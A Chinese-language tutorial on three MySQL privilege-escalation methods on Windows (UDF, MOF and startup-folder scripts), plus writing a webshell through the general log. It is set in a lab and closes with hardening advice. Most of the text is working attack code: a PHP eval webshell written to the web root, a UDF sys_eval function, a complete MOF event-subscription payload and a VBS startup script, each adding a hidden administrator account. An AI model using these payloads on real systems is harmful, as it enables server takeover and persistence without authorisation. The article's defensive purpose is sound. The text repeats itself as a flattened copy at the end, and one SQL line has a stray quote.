Windows下三种mysql提权剖析
字数 1363 2025-08-29 08:32:30

Windows下MySQL提权技术详解

一、实验环境准备

  • 靶机A: Windows 7 SP1
  • 靶机B: Windows Server 2003 Enterprise x64
  • 环境搭建: Phpstudy (PHP 5.4.45 + MySQL 5.5.53)
  • 攻击前提: 已知root账号密码,网站存在phpmyadmin页面

二、初始Webshell获取

1. 日志文件写Shell技术

file_priv为null无法使用into outfile时,可采用日志文件写Shell:

-- 开启日志记录
set global general_log='on';

-- 设置日志文件路径为Web目录
set global general_log_file='C:/phpstudy/WWW/hp.php';

-- 写入PHP一句话木马
select '<?php @eval($_POST["hp"]);?>';

-- 关闭日志记录
set global general_log=off';

三、UDF提权技术

1. UDF提权原理

UDF(User-Defined Function)是MySQL的扩展接口,允许用户创建自定义函数。通过创建调用系统命令的函数,可将MySQL权限提升至系统权限。

2. 提权步骤

(1) 导出UDF DLL文件

根据MySQL版本不同,DLL存放位置不同:

  • MySQL < 5.1:
    • Windows 2003: c:\windows\system32
    • Windows 2000: c:\winnt\system32
  • MySQL ≥ 5.1: MySQL安装目录下的lib\plugin文件夹

获取安装目录:

select @@basedir;

(2) 创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll';

常用函数说明:

  • cmdshell: 执行cmd命令
  • downloader: 下载文件到指定目录
  • open3389: 开启3389远程桌面
  • backshell: 反弹Shell
  • ProcessView: 枚举系统进程
  • KillProcess: 终止指定进程
  • regread: 读注册表
  • regwrite: 写注册表
  • shut: 关机/注销/重启

(3) 执行系统命令

select sys_eval('ipconfig');
select sys_eval('net user hpdoger 123456 /add');
select sys_eval('net localgroup administrators hpdoger /add');

四、MOF提权技术

1. 提权条件

  • Windows 2003及以下版本
  • MySQL启动身份具有读写c:/windows/system32/wbem/mof目录权限
  • secure-file-priv参数不为null
  • MySQL以root身份启动

2. MOF文件原理

托管对象格式(MOF)文件位于c:/windows/system32/wbem/mof/,系统每5秒会执行一次其中的脚本。

3. 利用代码

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\n"
                 "WSH.run(\"net.exe user hpdoger 123456 /add\")";
};

instance of __FilterToConsumerBinding {
    Consumer = $Consumer;
    Filter = $EventFilter;
};

4. 提权步骤

-- 使用dumpfile而非outfile,避免写入换行符
select load_file("C:/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof";

5. 清除MOF提权

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

五、启动项提权技术

1. 提权条件

  • file_priv不为null
  • 已知root密码
  • 需要服务器重启

2. 提权POC

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") ");
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) ");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) ");
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

六、防御建议

  1. MySQL权限控制:

    • 避免使用root权限运行MySQL服务
    • 限制file_priv权限
    • 设置secure-file-priv参数
  2. 系统防护:

    • 监控system32/wbem/mof目录异常文件
    • 检查启动项异常脚本
    • 定期审计系统用户和权限
  3. 配置加固:

    • 删除不必要的插件目录
    • 限制远程访问MySQL
    • 使用强密码策略
  4. 日志监控:

    • 监控MySQL异常查询
    • 审计文件创建和修改操作

七、总结

本文详细介绍了Windows环境下三种主要的MySQL提权技术:UDF提权、MOF提权和启动项提权。每种方法都有其特定的适用场景和限制条件,在实际渗透测试中需要根据目标环境选择合适的方法。同时,作为系统管理员,了解这些攻击技术有助于更好地防御此类提权攻击。

Windows下MySQL提权技术详解 一、实验环境准备 靶机A : Windows 7 SP1 靶机B : Windows Server 2003 Enterprise x64 环境搭建 : Phpstudy (PHP 5.4.45 + MySQL 5.5.53) 攻击前提 : 已知root账号密码,网站存在phpmyadmin页面 二、初始Webshell获取 1. 日志文件写Shell技术 当 file_priv 为null无法使用 into outfile 时,可采用日志文件写Shell: 三、UDF提权技术 1. UDF提权原理 UDF(User-Defined Function)是MySQL的扩展接口,允许用户创建自定义函数。通过创建调用系统命令的函数,可将MySQL权限提升至系统权限。 2. 提权步骤 (1) 导出UDF DLL文件 根据MySQL版本不同,DLL存放位置不同: MySQL < 5.1 : Windows 2003: c:\windows\system32 Windows 2000: c:\winnt\system32 MySQL ≥ 5.1 : MySQL安装目录下的 lib\plugin 文件夹 获取安装目录: (2) 创建自定义函数 常用函数说明: cmdshell : 执行cmd命令 downloader : 下载文件到指定目录 open3389 : 开启3389远程桌面 backshell : 反弹Shell ProcessView : 枚举系统进程 KillProcess : 终止指定进程 regread : 读注册表 regwrite : 写注册表 shut : 关机/注销/重启 (3) 执行系统命令 四、MOF提权技术 1. 提权条件 Windows 2003及以下版本 MySQL启动身份具有读写 c:/windows/system32/wbem/mof 目录权限 secure-file-priv 参数不为null MySQL以root身份启动 2. MOF文件原理 托管对象格式(MOF)文件位于 c:/windows/system32/wbem/mof/ ,系统每5秒会执行一次其中的脚本。 3. 利用代码 4. 提权步骤 5. 清除MOF提权 五、启动项提权技术 1. 提权条件 file_priv 不为null 已知root密码 需要服务器重启 2. 提权POC 六、防御建议 MySQL权限控制 : 避免使用root权限运行MySQL服务 限制 file_priv 权限 设置 secure-file-priv 参数 系统防护 : 监控 system32/wbem/mof 目录异常文件 检查启动项异常脚本 定期审计系统用户和权限 配置加固 : 删除不必要的插件目录 限制远程访问MySQL 使用强密码策略 日志监控 : 监控MySQL异常查询 审计文件创建和修改操作 七、总结 本文详细介绍了Windows环境下三种主要的MySQL提权技术:UDF提权、MOF提权和启动项提权。每种方法都有其特定的适用场景和限制条件,在实际渗透测试中需要根据目标环境选择合适的方法。同时,作为系统管理员,了解这些攻击技术有助于更好地防御此类提权攻击。